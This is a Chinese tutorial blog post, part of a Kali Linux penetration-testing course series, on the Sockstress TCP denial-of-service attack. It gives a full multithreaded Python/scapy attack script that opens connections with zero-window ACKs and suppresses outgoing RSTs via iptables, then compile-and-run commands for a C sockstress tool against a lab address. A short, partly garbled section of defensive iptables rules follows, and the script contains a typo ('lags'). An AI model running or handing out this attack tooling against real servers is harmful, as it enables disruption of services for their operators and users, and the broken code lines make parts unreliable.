Kali Linux渗透测试 127 拒绝服务--Sockstress 攻击

最新推荐文章于 2023-10-30 16:37:04 发布

原创最新推荐文章于 2023-10-30 16:37:04 发布 · 2.1k 阅读

8 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#kali-linux

kali-linux 专栏收录该内容

93 篇文章

订阅专栏

本文详细介绍使用Kali Linux进行拒绝服务(DOS)攻击的方法，包括利用Python和C语言编写的sockstress脚本进行TCP连接攻击的过程。文章还探讨了通过修改iptables规则实施攻击的技术细节，并提出了几种防御策略。

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程，教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试（苑房弘）博客记录

1. 简介

2008年由Jack C.Louis 发现
针对TCP服务的拒绝服务攻击
- 消耗被攻击目标系统资源
- 与攻击目标建立大量socket链接
- 完成三次握手，最后的ACK包window 大小为0 (客户端不接收数据)
- 攻击者资源消耗小(CPU、内存、带宽)
- 异步攻击，单机可拒绝服务高配资源服务器
- Window 窗口实现的TCP 流控

2. 脚本攻击

1. python 测试脚本

#!/usr/bin/python
#coding=utf-8

from scapy.all import*
from time import sleep
import thread
import random
import logging
import os
import signal
import sys
import signal

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
    print "举例: ../sockstress.py  1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
    sys.exit()

target = str(sys.argv[1])
dstport= int(sys.argv[2])
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport) :
    while 0 == 0:
        try:
            x = random.randint(0,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
            send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0)
        except:
            pass

## 停止攻击函数
def shutdown(signal,frame):
    print "正在修复 iptables 规则"
    os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
    sys.exit()

## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
signal.signal(signal.SIGINT, shutdown)

## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))

##永远执行
while 0 == 0:
    sleep(1)

测试结果

# 查看系统连接数
netstat | grep ESTABLISHED | wc -l

2. C 攻击脚本

下载编译

github 下载地址

gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 10.10.10.132:80 eth0
./sockstress 10.10.10.132:80 eth0 -p payloads/http

防火墙规则
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 10.10.10.132 -j DROP

查看攻击效果

netstat -tulnp | grep ESTABLISHED | wc -l
free
top

3. 防御措施

直到今天sockstress攻击仍然是一种很有效的DOS攻击方式
由于建立完整的TCP三步握手，因此使用syn cookie防御无效
根本的防御方法是采用白名单(不实际)
折中对策限制单位时间内每IP建的TCP连接数
- 封杀每30秒与 80 端口建立连接超过 10 个的IP地址
- iptables -I INPUT -p tcp –dport 80 -m state–state NEW -m recent–set
- iptables -I INPUT-p tcp -dport 80 -m state-state NEW-m recent -update–seconds 30 -hitcount 10 j DROP
- 以上规则对DDOS攻击无效